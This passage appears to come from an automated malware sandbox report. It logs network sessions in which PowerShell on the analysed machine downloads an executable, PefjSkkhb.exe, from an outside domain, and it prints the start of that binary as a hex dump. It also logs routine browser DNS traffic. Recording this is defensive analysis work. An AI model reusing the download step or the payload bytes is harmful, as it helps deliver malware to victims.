/{BZP?{d!sh=AFcaHon.t!&7J_)u?mwt&5l<YxLp'D_z bMpYIVvUvc+/
2024-12-23 07:39:58 UTC	16384	IN	Data Raw: 1b 23 a4 61 d6 c4 09 75 ab 97 ec b2 84 c4 9c 53 9c 01 5b 3a 50 bd 39 c7 23 0f 24 63 6c 78 33 98 22 84 c7 6e 0c f3 9a ab a4 1c 62 ea 01 04 01 64 5d 09 11 1d 5f 58 06 a2 8d 7d f4 35 db 55 39 cb 69 fd 98 1b e3 1b 94 48 fe 95 3a d5 54 80 22 44 50 61 1d 3e dd 90 aa 3f a4 23 00 b2 41 27 86 89 80 87 dc 51 47 6b be f2 f7 f1 67 8a f5 53 c5 38 22 9a 60 60 33 b1 7d ee 9f ff 1a 31 93 e1 95 78 71 d1 16 8e 45 32 a6 ca 92 37 c7 64 10 35 a7 4a 08 c6 34 20 86 4c e5 24 45 ac 57 23 3b f9 f1 8a 89 e7 09 44 54 0d ac 8c 5f 36 28 24 b0 c6 27 bc be c6 87 6e e6 cd df 39 7f 6c 33 fc 80 8c 56 9e bd 65 db 05 51 94 f9 c0 a5 69 b2 0f 99 33 2d 36 6d a9 eb 04 c6 7d cd 8b 0b 19 7b ae 94 72 2b 0b cb ae b3 0a cc 92 cc 46 41 88 84 88 9f 3a 39 bb 43 78 28 20 89 57 fc 6f 64 68 a3 66 05 9c 4d Data Ascii: #auS[:P9#$clx3"nbd]_X}5U9iH:T"DPa>?#A'QGkgS8"``3}1xqE27d5J4 L$EW#;DT_6($'n9l3VeQi3-6m}{r+FA:9Cx( WodhfM
2024-12-23 07:39:58 UTC	16384	IN	Data Raw: f5 ce 22 dd c5 24 36 71 b0 1d f5 b6 e5 60 fa d5 ea 8b db c2 44 7f 18 4a 16 a7 42 5f 8a 33 2b 1f dc 72 40 20 d6 95 55 d0 90 3b 5f 5b 63 9b a8 ec b9 ab 04 5f 19 4e 62 0a eb 5e ac 28 a8 9d a8 51 ad 55 98 b4 41 b4 20 e8 96 64 53 ef 26 3e 95 6a b9 17 0a 4d 77 12 73 b6 93 3b 7d 5f c1 d4 71 ea 95 b6 56 f5 d3 4b fa f2 53 d7 63 3f e4 c8 a7 c1 bc f1 bc 45 39 15 db f5 eb 6c 67 4f 9b be 1c 26 8c e3 f4 b5 57 b3 aa 56 9c 2d b5 8c dc 00 17 17 95 09 22 a3 98 6a ed 65 95 38 34 02 d3 3e ef f4 5a 18 92 d6 e9 73 46 69 c9 45 f9 0e 7e 4e bc d6 b7 2d 6a b5 b7 72 e0 34 a4 0e f7 35 3a f0 60 4b 7f 07 2a 93 82 69 3c 4f b0 27 aa 9d 5c 71 fd 77 2a f5 4c 7c e2 0c d7 af 06 ca 5a e4 9c 96 61 7c e0 4c 20 99 48 f4 7f 7d 75 6d 24 50 aa ea 17 9d 9a 49 58 c6 e5 6c a0 26 b1 a4 8a 8c 82 60 c8 Data Ascii: "$6q`DJB_3+r@ U;_[c_Nb^(QUA dS&>jMws;}_qVKSc?E9lgO&WV-"je84>ZsFiE~N-jr45:`Ki<O'\qwL\|Za\|L H}um$PIXl&`
2024-12-23 07:39:58 UTC	16384	IN	Data Raw: bb 37 7b a2 49 26 91 11 e4 10 11 29 95 48 54 78 cc 29 f7 4a 72 9f 01 e6 fc 99 01 69 2c be 99 50 f7 86 d7 0d c5 04 6b 83 eb fd 21 e4 f5 f8 d1 9d e1 9b 13 dd 91 06 22 bf 6b 5f fc 8c ff 4c a5 49 58 44 68 67 11 6a 31 11 3a 82 7d b2 c8 22 4f e8 20 a4 30 eb a4 ee b0 b7 87 f5 c0 3c a1 9e 58 52 ac 66 6f 66 57 5a 26 a9 a7 28 b8 6c c5 f8 89 14 31 fb ef 80 90 b2 8a b8 70 1f 09 41 f8 4f 2b 32 a2 bf 75 59 0d 73 01 22 9f 1f dd cf 5e 15 0b 65 81 b2 86 69 39 b4 7a 26 90 cd 27 d9 be 90 7a 1d 4c 3a 30 f8 3c 36 fc 8f 92 64 7b b0 58 cb 53 f1 69 6e 3c 3a 02 e6 11 7a bb 09 c2 6a 8c aa e5 52 ca 62 f6 eb 0b 2a 41 da 3d 87 b2 f9 6d f7 98 2e 20 2b 7a 2c b5 53 2b 6e dc 04 f6 4c 2f 07 1e 04 7c c8 c9 b7 f5 f9 b0 80 4a 00 a9 10 d7 f1 ca ad 56 7b 33 13 1a f2 ea ab b1 06 2c 8f 96 42 36 Data Ascii: 7{I&)HTx)Jri,Pk!"k_LIXDhgj1:}"O 0<XRfofWZ&(l1pAO+2uYs"^ei9z&'zL:0<6d{XSin<:zjRb*A=m. +z,S+nL/\|JV{3,B6
2024-12-23 07:39:58 UTC	16384	IN	Data Raw: 34 18 fa c3 3e 55 8b f1 c1 b8 36 b2 25 8f e1 bf d7 09 70 69 7f 7b bd 32 d2 81 ba ec 6a ce 7e 49 16 63 fa 81 be a5 0e d3 f8 bc 1b ce db bf 1c 2d f2 93 4d bf 75 3d fd db e1 18 a6 a2 ef 20 81 65 43 df b8 b2 e4 2b 16 88 72 e6 35 03 7e 8d 8a ef d9 a6 a5 86 4c a6 f5 c6 f7 ea 96 ce c2 d7 cc 7c 26 ff b7 86 7a a3 c9 6e 26 d3 fc ec 33 a2 40 6e 04 0e 1a 69 bb 76 ba 12 79 d5 cb ff f8 dd 8f ca ea 7a 39 0c 2e 26 18 b4 d9 44 a8 85 d1 d4 e6 f4 8f 56 07 c8 e7 9a 4e d3 bb 47 4f 4e 82 4c 4d d3 b0 6f b2 1e a3 01 e1 d7 32 1b 9c c8 2c ec 5c 04 e9 22 db 70 5a 4d 6b a4 77 38 17 ad 23 49 92 ce a3 93 de 4e b5 cb 76 09 74 2e d3 73 de a4 45 0d ac e1 9a db 42 24 57 ef 24 5a 96 40 31 05 e4 01 3b fa 39 31 67 e6 44 ba ba 8b fd b2 62 41 2d fa b8 c7 5d 72 3f 9b 59 17 06 cb a4 af 26 cf 1a Data Ascii: 4>U6%pi{2j~Ic-Mu= eC+r5~L\|&zn&3@nivyz9.&DVNGONLMo2,\"pZMkw8#INvt.sEB$W$Z@1;91gDbA-]r?Y&
2024-12-23 07:39:58 UTC	16384	IN	Data Raw: 38 e1 a5 4b e4 5e 6a 5c 3d 37 a2 79 4c b3 c3 af b0 2e d6 da d9 a4 e0 be 31 55 1c 91 c0 d1 5e 2f 62 47 0a 28 ff 5e ef 5b db 90 6d c6 4b 7d 79 f9 66 7a 4b 57 b1 6e 11 e2 1d 70 e2 c6 9a c3 fd 2f 8b 40 54 1d 03 f9 99 09 ef e6 d3 1f 40 20 0f 94 c2 c7 f1 3c 71 ce 11 fd 3d 30 95 d5 89 30 c5 5f 80 f0 06 a1 4b fe 21 22 b7 6e f4 82 65 b6 9d 74 e7 92 42 d9 25 01 9a 45 e1 eb 8f 07 4b 1d 9c d8 93 a5 27 6c c1 2e 57 87 81 32 fd f6 bc e5 f4 ef 45 17 ad e9 61 4e 56 8c c6 3f fc 8b 17 51 68 e2 4a bc a5 ef 94 e5 7d 9a 81 96 78 e5 a9 42 54 39 da b6 f5 0f ae e5 c1 64 46 0a c3 9d 62 ca 0a 89 2a e0 6c 9f 79 b4 38 3d 3e e9 85 db e4 dd e1 4c 3d ac c8 56 d9 00 72 20 52 95 bb 46 49 f0 d5 74 a4 39 82 22 29 e2 8a 8c a0 c2 d9 63 81 ae 80 e8 04 a6 8a 62 16 e1 bc 49 f2 c8 ce d2 b8 bf d7 Data Ascii: 8K^j\=7yL.1U^/bG(^[mK}yfzKWnp/@T@ <q=00_K!"netB%EK'l.W2EaNV?QhJ}xBT9dFb*ly8=>L=Vr RFIt9")cbI
2024-12-23 07:39:58 UTC	16384	IN	Data Raw: 76 1d c8 c3 1c 3b 16 78 88 cc de 66 fc 90 c0 c0 b3 c1 6a fe fe b5 48 1b b6 1b 96 f2 68 58 b2 88 ae c5 6a 2a c6 a2 9b 4f a7 0b d5 60 53 7b db 37 3b f7 ed d1 2d 0d 29 b2 a8 f7 cb 7f 81 5d 7d d3 8e 25 cd 45 19 e7 d1 03 48 f5 21 79 f0 32 bc 8e 57 91 16 fe 93 71 2b 42 48 22 f6 09 37 2d 5a ca ee a9 1e 03 29 e4 d3 a7 f8 e3 25 22 5a d1 d0 a2 32 a5 4d 59 e8 1d b5 72 41 dc 1d 8e aa 10 11 a3 87 2e 67 c1 cc aa 88 48 1b 0c e5 21 1e c0 c0 06 b7 6f 00 15 c5 88 25 87 36 39 f6 33 81 55 9f 3b f6 84 41 c3 2f cd f2 fa 8c 52 0d 88 22 01 29 28 fd bd 23 8a 5b bb 60 84 cd b1 ac 10 05 ee b2 95 25 ad 0a 98 a8 5b 43 c2 e4 d0 b2 6b cc d3 5a 04 ad ea 6c 89 5d c5 46 81 9e 2e 4a a3 af e9 63 88 c1 e7 d2 d5 13 32 fc 34 16 2e e3 4f d0 52 2e 6f d9 97 86 88 c8 9c 3e 2e 1e c2 50 69 3b eb 67 Data Ascii: v;xfjHhXj*O`S{7;-)]}%EH!y2Wq+BH"7-Z)%"Z2MYrA.gH!o%693U;A/R")(#[`%[CkZl]F.Jc24.OR.o>.Pi;g
2024-12-23 07:39:58 UTC	16384	IN	Data Raw: a3 b0 91 18 83 e7 d0 67 25 94 6d 59 41 15 80 a4 3d 41 52 a6 c5 af 00 3d ef 0a fa 71 f9 95 7b 58 46 fa a0 8e da eb 6e 64 03 9c 1f 3a dd b6 57 69 57 da a0 e3 9d bb 10 ef 4a af 79 56 18 72 42 2b 6a 39 ee d3 2c 85 c2 56 ea 4e 6c 2b ae 6a 76 b1 f0 b5 54 ac 7d d1 61 b1 34 85 88 34 f7 01 82 7c ab 6b 11 ee 7c 07 b9 38 4c df 18 91 3e 58 08 a2 ce b8 e4 e7 22 39 f1 33 19 d5 aa 90 6e b8 26 d1 61 b3 17 27 25 2e 78 dc db fc 27 70 1e d1 a5 ca f7 29 9d 64 eb dd da 5a 25 48 1c 53 cd 85 8f e1 f2 2f 2b c1 04 d6 09 52 60 bc 6c 58 be aa e9 71 d5 3f 39 d0 5f ac 95 17 b7 60 3f 8d 54 c4 9b b8 3f b6 3b 53 a7 18 48 b0 b9 77 6f 6e 81 e5 5a 3d ad 5f 2d c4 e1 07 b6 0c e8 21 0f 09 94 03 a1 85 9d a2 c2 f0 b8 50 b0 5e e0 a4 93 2b f0 43 3a 23 34 37 58 ed 18 15 0a b6 98 4d 34 58 bd e4 42 Data Ascii: g%mYA=AR=q{XFnd:WiWJyVrB+j9,VNl+jvT}a44\|k\|8L>X"93n&a'%.x'p)dZ%HS/+R`lXq?9_`?T?;SHwonZ=_-!P^+C:#47XM4XB
2024-12-23 07:39:58 UTC	16384	IN	Data Raw: 22 06 4d e4 1c cc c8 b4 e1 db a1 51 51 28 42 e9 8a 52 5f 21 7b 0e 49 24 b9 cd d3 a2 c8 86 2c 2e 91 09 5b d4 d7 de 8b 11 db 03 6b b1 b7 4b ca 64 cf a1 55 30 f5 f4 b0 29 99 e9 2e 30 1c d2 d5 7e 14 c2 85 aa c2 34 1f e8 e4 7e 3e e3 53 22 46 0d 71 e1 d5 7f 64 1d 27 67 15 aa a3 49 1f 6d 64 0a ad b5 d9 86 e2 da 9b 0f bb e3 4e a9 df 9b 29 e3 1c c6 20 9c ce 9e 68 34 1d 9d c0 33 1e 9b ab 0f b5 6f 8b ba c4 5c 54 85 4d fb cd 4d 76 b4 60 f7 38 57 7d 65 11 cf 10 fe c4 22 0d 8b de 48 98 20 fb 2f 82 92 41 6a 56 93 cb dd 5d b6 10 af e1 6c e1 3a 03 80 8a 81 87 df 6d 86 da 71 85 85 d0 95 34 c8 a4 92 a2 9b c1 35 49 da a0 c3 6c 2e 0e de 35 db 85 54 53 c0 38 4b 41 ac a6 b3 19 50 4c f9 49 44 da 5c 96 8d 2d bb 54 9c c5 05 cd 3f d7 d0 93 58 e7 c8 fa 90 20 b3 ce db 9b 9b d5 18 52 Data Ascii: "MQQ(BR_!{I$,.[kKdU0).0~4~>S"Fqd'gImdN) h43o\TMMv`8W}e"H /AjV]l:mq45Il.5TS8KAPLID\-T?X R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49748	147.45.49.155	443	1820	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:40:00 UTC	58	OUT	GET /PefjSkkhb.exe HTTP/1.1 Host: tiffany-careers.com
2024-12-23 07:40:00 UTC	439	IN	HTTP/1.1 200 OK etag: "108a00-675eb102-2534d;;;" last-modified: Sun, 15 Dec 2024 10:35:46 GMT content-type: application/x-executable content-length: 1083904 accept-ranges: bytes date: Mon, 23 Dec 2024 07:40:00 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46" connection: close
2024-12-23 07:40:00 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6f 31 29 eb 2b 50 47 b8 2b 50 47 b8 2b 50 47 b8 9f cc b6 b8 3e 50 47 b8 9f cc b4 b8 b7 50 47 b8 9f cc b5 b8 0a 50 47 b8 b5 f0 80 b8 2a 50 47 b8 79 38 42 b9 05 50 47 b8 79 38 43 b9 3a 50 47 b8 79 38 44 b9 23 50 47 b8 22 28 c4 b8 23 50 47 b8 22 28 c0 b8 2a 50 47 b8 22 28 d4 b8 0e 50 47 b8 2b 50 46 b8 06 52 47 b8 8e 39 49 b9 7b 50 47 b8 8e 39 44 b9 2a 50 47 b8 8e 39 b8 b8 2a 50 47 Data Ascii: MZ@0!L!This program cannot be run in DOS mode.$o1)+PG+PG+PG>PGPGPGPGy8BPGy8C:PGy8D#PG"(#PG"(PG"(PG+PFRG9I{PG9DPG9PG
2024-12-23 07:40:00 UTC	16384	IN	Data Raw: c0 48 8d 45 20 48 8b d6 4c 8d 45 28 48 89 44 24 20 e8 5e f5 ff ff 85 c0 0f 88 96 70 04 00 48 8d 4d c0 e8 55 54 00 00 44 8b 45 20 e9 00 ff ff ff 48 8d 0d f9 ba 0e 00 e8 5c 09 00 00 33 c0 4c 8d 5c 24 70 49 8b 5b 30 49 8b 73 38 49 8b e3 41 5f 41 5e 5d c3 48 89 5c 24 08 48 89 7c 24 10 55 48 8b ec 48 83 ec 70 41 8b 18 45 33 db ff cb 44 89 5d c8 4c 8b d1 89 5d b4 49 8b f8 4c 89 5d d0 c7 45 d8 01 00 00 00 41 8b cb 44 89 5d e0 45 8a cb 4c 89 5d e8 c7 45 f0 01 00 00 00 c7 45 b0 02 00 00 00 44 8b 07 41 8b d0 41 8d 40 01 89 07 e8 75 06 00 00 48 85 c0 74 2c 45 84 c9 75 27 48 8b 40 08 48 8b 10 66 44 39 5a 08 75 d7 8b 12 83 ea 0b 74 4f 83 fa 01 75 cb 85 c9 75 42 44 8a ca 44 89 45 b8 eb be 49 8d 8a 68 02 00 00 48 8d 55 b0 e8 98 07 00 00 8d 43 01 48 8d 4d e0 89 07 e8 de Data Ascii: HE HLE(HD$ ^pHMUTDE H\3L\$pI[0Is8IA_A^]H\$H\|$UHHpAE3D]L]IL]EAD]EL]EEDAA@uHt,Eu'H@HfD9ZutOuuBDDEIhHUCHM
2024-12-23 07:40:01 UTC	16384	IN	Data Raw: 84 24 88 00 00 00 89 74 24 50 4d 8b c5 48 89 44 24 48 8b d7 8b 84 24 18 01 00 00 89 44 24 40 8b 84 24 20 01 00 00 89 44 24 38 8b 44 24 60 89 5c 24 30 44 89 74 24 28 89 44 24 20 e8 5c 00 00 00 48 8b b4 24 28 01 00 00 8b d8 48 8b ce e8 8e 87 00 00 48 8b ce c7 46 10 01 00 00 00 89 1e e8 59 73 00 00 85 c0 0f 84 71 49 04 00 83 ff 1d 74 08 49 8b cd e8 ac bf 01 00 45 33 f6 48 8d 4c 24 70 e8 5b 87 00 00 41 8b c6 48 81 c4 c8 00 00 00 41 5f 41 5e 41 5d 41 5c 5f 5e 5d 5b c3 48 8b c4 48 89 58 20 4c 89 40 18 48 89 48 08 55 56 57 41 54 41 55 41 56 41 57 48 8d 68 c1 48 81 ec 90 00 00 00 8b 3d e1 80 0e 00 45 33 ed 41 8b d9 44 8b fa 83 fa 0c 0f 84 33 49 04 00 83 fa 0d 7e 1b 83 fa 0f 0f 8e 25 49 04 00 83 fa 11 0f 84 1c 49 04 00 83 fa 14 0f 84 13 49 04 00 83 ff ff 0f 84 36 Data Ascii: $t$PMHD$H$D$@$ D$8D$`\$0Dt$(D$ \H$(HHFYsqItIE3HL$p[AHA_A^A]A\_^][HHX L@HHUVWATAUAVAWHhH=E3AD3I~%III6
2024-12-23 07:40:01 UTC	16384	IN	Data Raw: c1 89 83 c8 00 00 00 3b 53 1c 0f 8d e6 42 04 00 4c 63 9d 58 01 00 00 41 3b d3 0f 8f eb 42 04 00 8b 43 18 48 8b 7b 10 41 2b c1 49 63 d0 8b 04 87 89 04 97 41 8d 40 01 48 8b 7c 24 48 49 8b d7 48 2b 93 98 00 00 00 48 d1 fa 48 63 c8 48 8b 43 10 89 14 88 8b 95 48 01 00 00 45 3b d8 0f 8f 8e fb ff ff 45 8d 58 02 44 89 9d 58 01 00 00 e9 7e fb ff ff 83 ff 10 0f 85 39 03 00 00 8b 95 48 01 00 00 49 83 c6 06 e9 af fa ff ff 49 83 c6 02 83 c7 ab 49 8b ce 40 f6 c7 01 74 06 41 bd 01 00 00 00 46 0f be 9c 1f f8 80 0c 00 8b c7 48 8d 3d 4e 33 ff ff 44 89 5c 24 58 44 0f be 94 38 e8 80 0c 00 44 89 54 24 50 45 85 d2 75 0c b8 ff ff ff 7f 44 8b d0 89 44 24 50 bf 01 00 00 00 45 0f b7 0e 4c 8d 71 02 44 89 4c 24 54 41 8d 41 f1 83 f8 01 0f 86 da 6d 04 00 48 c7 c0 ff ff ff ff 8b c8 89 Data Ascii: ;SBLcXA;BCH{A+IcA@H\|$HIH+HHcHCHE;EXDX~9HIII@tAFH=N3D\$XD8DT$PEuDD$PELqDL$TAAmH
2024-12-23 07:40:01 UTC	16384	IN	Data Raw: 00 00 49 8b 0c df 49 8b d5 e8 16 40 01 00 49 89 3c df 48 ff c3 49 3b de 72 e8 4c 8b 6c 24 48 e9 cf fa ff ff 4c 8d 3d d5 f3 fe ff 49 8b 5c fd 00 48 85 db 74 61 48 8b 73 08 48 85 f6 74 36 48 8b 46 18 ff 08 48 8b 46 18 44 39 30 75 16 48 8b 0e e8 cf 3f 01 00 48 8b 4e 18 ba 04 00 00 00 e8 c1 3f 01 00 ba 20 00 00 00 48 8b ce e8 b4 3f 01 00 4c 89 73 08 8b 43 10 83 f8 05 0f 8d f6 00 00 00 b8 01 00 00 00 44 89 33 48 8b cb 89 43 10 8d 50 17 e8 8e 3f 01 00 4d 89 74 fd 00 48 ff c7 49 3b fc 72 88 e9 62 fa ff ff 44 8b 5c 24 40 45 33 c0 48 8b 9d a8 00 00 00 e9 ac f6 ff ff 41 83 e9 01 0f 88 dd fa ff ff 41 ff c2 41 ff c0 e9 a0 fa ff ff 48 8b 9d b0 00 00 00 48 8b cb c6 00 00 e8 fd 06 00 00 49 8b c7 89 43 10 33 c0 89 03 e9 93 f8 ff ff 49 8b 0a 48 8b 17 48 85 c0 74 20 44 0f Data Ascii: II@I<HI;rLl$HL=I\HtaHsHt6HFHFD90uH?HN? H?LsCD3HCP?MtHI;rbD\$@E3HAAAHHIC3IHHt D
2024-12-23 07:40:01 UTC	16384	IN	Data Raw: e8 db c7 ff ff 48 8d 15 94 9e 0d 00 49 8b cc e8 dc 05 00 00 c6 44 24 51 00 e9 86 fd ff ff 80 7c 24 51 00 0f 85 89 aa 04 00 49 8b dc e9 93 fd ff ff 44 8b 6c 24 40 4c 8b 64 24 48 4c 8b 74 24 38 4c 89 64 24 58 4c 89 b5 88 00 00 00 45 85 ed 0f 84 c6 b6 04 00 41 83 fd 01 0f 85 d0 b6 04 00 49 8b d6 48 8d 4d 90 48 c7 45 98 00 00 00 00 e8 7d 05 00 00 48 8d 4d 90 e8 3c fe fe ff 84 c0 0f 85 75 02 00 00 83 fb 07 75 62 48 8b 55 78 4d 8b c7 e8 9b 94 00 00 85 c0 0f 88 f3 b8 04 00 83 fb 08 0f 84 a2 b6 04 00 41 83 fd 01 0f 85 b5 b6 04 00 49 8b de 48 8b cb e8 25 c7 ff ff c6 03 00 80 7c 24 34 00 c7 43 10 09 00 00 00 0f 85 ae b6 04 00 80 7d 88 00 0f 84 c6 b6 04 00 b0 01 48 ff cf 88 45 89 48 89 7c 24 78 88 44 24 34 48 8d 4d 90 e8 ec c6 ff ff 48 8b 7d 78 e9 fe ef ff ff 83 f8 Data Ascii: HID$Q\|$QIDl$@Ld$HLt$8Ld$XLEAIHMHE}HM<uubHUxMAIH%\|$4C}HEH\|$xD$4HMH}x
2024-12-23 07:40:01 UTC	16384	IN	Data Raw: 8d 05 6a eb 06 00 48 89 45 f0 48 8d 05 5f fb 09 00 48 89 05 d8 2f 0d 00 48 8d 05 41 ec 06 00 48 c7 45 f8 00 00 00 00 0f 11 05 7a 2f 0d 00 c7 05 5c 2f 0d 00 01 00 00 00 0f 10 45 f0 48 89 45 f0 48 8d 05 d1 04 0a 00 48 89 05 ca 2f 0d 00 48 8d 05 4b f0 06 00 48 c7 45 f8 00 00 00 00 0f 29 05 6c 2f 0d 00 0f 10 45 f0 48 89 45 f0 48 8d 05 f5 05 0a 00 48 89 05 c6 2f 0d 00 48 8d 05 c7 f1 06 00 48 c7 45 f8 00 00 00 00 0f 11 05 68 2f 0d 00 66 c7 05 ff 2e 0d 00 00 00 0f 10 45 f0 48 89 45 f0 48 8d 05 b8 ef 09 00 48 89 05 b9 2f 0d 00 48 8d 05 fe f3 06 00 48 c7 45 f8 00 00 00 00 0f 29 05 5b 2f 0d 00 0f 10 45 f0 48 89 45 f0 48 8d 05 f4 05 0a 00 48 c7 45 f8 00 00 00 00 0f 11 05 65 2f 0d 00 48 89 05 a6 2f 0d 00 48 8d 05 bb 5a 00 00 0f 10 45 f0 48 89 45 f0 48 8d 05 a0 f7 09 Data Ascii: jHEH_H/HAHEz/\/EHEHH/HKHE)l/EHEHH/HHEh/f.EHEHH/HHE)[/EHEHHEe/H/HZEHEH
2024-12-23 07:40:01 UTC	16384	IN	Data Raw: 00 c7 05 89 12 0d 00 02 00 00 00 66 c7 05 84 12 0d 00 00 00 c7 05 9a 12 0d 00 02 00 00 00 c7 05 94 12 0d 00 02 00 00 00 66 c7 05 8f 12 0d 00 00 00 c7 05 a5 12 0d 00 02 00 00 00 c7 05 9f 12 0d 00 03 00 00 00 66 c7 05 9a 12 0d 00 00 00 c7 05 b0 12 0d 00 01 00 00 00 c7 05 aa 12 0d 00 01 00 00 00 66 c7 05 a5 12 0d 00 00 00 48 89 05 a6 12 0d 00 48 c7 45 f8 00 00 00 00 48 8d 05 73 6a 08 00 48 89 45 f0 48 8d 05 d4 a4 09 00 0f 10 45 f0 48 89 05 a9 12 0d 00 48 8d 05 72 6c 08 00 48 89 45 f0 48 8d 05 17 b0 09 00 48 89 05 b8 12 0d 00 48 8d 05 99 6e 08 00 48 c7 45 f8 00 00 00 00 0f 29 05 5a 12 0d 00 0f 10 45 f0 48 89 45 f0 48 8d 05 8b b1 09 00 48 89 05 b4 12 0d 00 48 8d 05 81 ab fe ff 48 c7 45 f8 00 00 00 00 0f 11 05 56 12 0d 00 c7 05 34 12 0d 00 02 00 00 00 0f 10 45 Data Ascii: ffffHHEHsjHEHEHHrlHEHHHnHE)ZEHEHHHHEV4E
2024-12-23 07:40:01 UTC	16384	IN	Data Raw: 45 33 ff 48 8b 55 88 44 8b 4d a8 66 89 42 04 4c 8b 55 80 bb 52 00 00 00 4c 8b 85 a0 01 00 00 41 8b 88 88 00 00 00 8d 41 01 41 89 80 88 00 00 00 81 f9 fa 00 00 00 0f 8d dc 6b 04 00 b8 80 00 00 00 4d 8b d0 44 3b e8 0f 86 c5 54 04 00 49 8b 42 40 49 2b 42 20 48 d1 f8 48 89 45 18 48 89 55 c8 4c 8b b5 a8 01 00 00 41 8b cf 66 44 89 2a 45 8b c7 41 8b ba 98 00 00 00 49 8b c6 41 8b 5a 70 48 f7 d8 48 89 55 00 48 8d 45 10 48 1b d2 44 89 7d 10 48 23 d0 b8 87 00 00 00 48 89 54 24 70 44 3b e8 4c 89 54 24 68 41 8d 45 81 0f 94 c1 48 8d 55 00 41 3b c3 8b 85 98 01 00 00 41 0f 96 c0 03 c1 48 8b 8d 90 01 00 00 48 89 4c 24 60 48 8d 4d 38 48 89 4c 24 58 48 8d 4d 54 48 89 4c 24 50 48 8d 4d 50 48 89 4c 24 48 48 8d 8d 8c 00 00 00 48 89 4c 24 40 41 8b cc 89 44 24 38 89 74 24 30 48 Data Ascii: E3HUDMfBLURLAAAkMD;TIB@I+B HHEHULAfD*EAIAZpHHUHEHD}H#HT$pD;LT$hAEHUA;AHHL$`HM8HL$XHMTHL$PHMPHL$HHHL$@AD$8t$0H
2024-12-23 07:40:01 UTC	16384	IN	Data Raw: 22 11 ff d0 48 83 c4 20 4c 8b 65 c0 4c 8b 6d c8 4c 8b 75 d0 4c 8b 7d d8 48 8b 5d e0 48 8b e5 5d c3 cc cc cc e9 8b 85 fe ff cc cc cc 40 53 48 83 ec 20 48 8b d9 eb 0f 48 8b cb e8 1d 46 00 00 85 c0 74 13 48 8b cb e8 5d 01 01 00 48 85 c0 74 e7 48 83 c4 20 5b c3 48 83 fb ff 74 06 e8 9f 09 00 00 cc e8 b9 09 00 00 cc e9 bf ff ff ff cc cc cc 48 83 ec 28 e8 57 0b 00 00 85 c0 74 21 65 48 8b 04 25 30 00 00 00 48 8b 48 08 eb 05 48 3b c8 74 14 33 c0 f0 48 0f b1 0d 9c a2 0c 00 75 ee 32 c0 48 83 c4 28 c3 b0 01 eb f7 cc cc cc 40 53 48 83 ec 20 0f b6 05 87 a2 0c 00 85 c9 bb 01 00 00 00 0f 44 c3 88 05 77 a2 0c 00 e8 86 09 00 00 e8 19 19 00 00 84 c0 75 04 32 c0 eb 14 e8 a4 5f 01 00 84 c0 75 09 33 c9 e8 35 19 00 00 eb ea 8a c3 48 83 c4 20 5b c3 cc cc cc 40 53 48 83 ec 40 80 Data Ascii: "H LeLmLuL}H]H]@SH HHFtH]HtH [HtH(Wt!eH%0HHH;t3Hu2H(@SH Dwu2_u35H [@SH@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49777	172.64.41.3	443	3856	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:40:07 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-23 07:40:07 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-23 07:40:08 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 23 Dec 2024 07:40:07 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f66b3a55f39429e-EWR alt-svc: h3=":443"; ma=86400
2024-12-23 07:40:08 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ff 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49776	172.64.41.3	443	3856	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
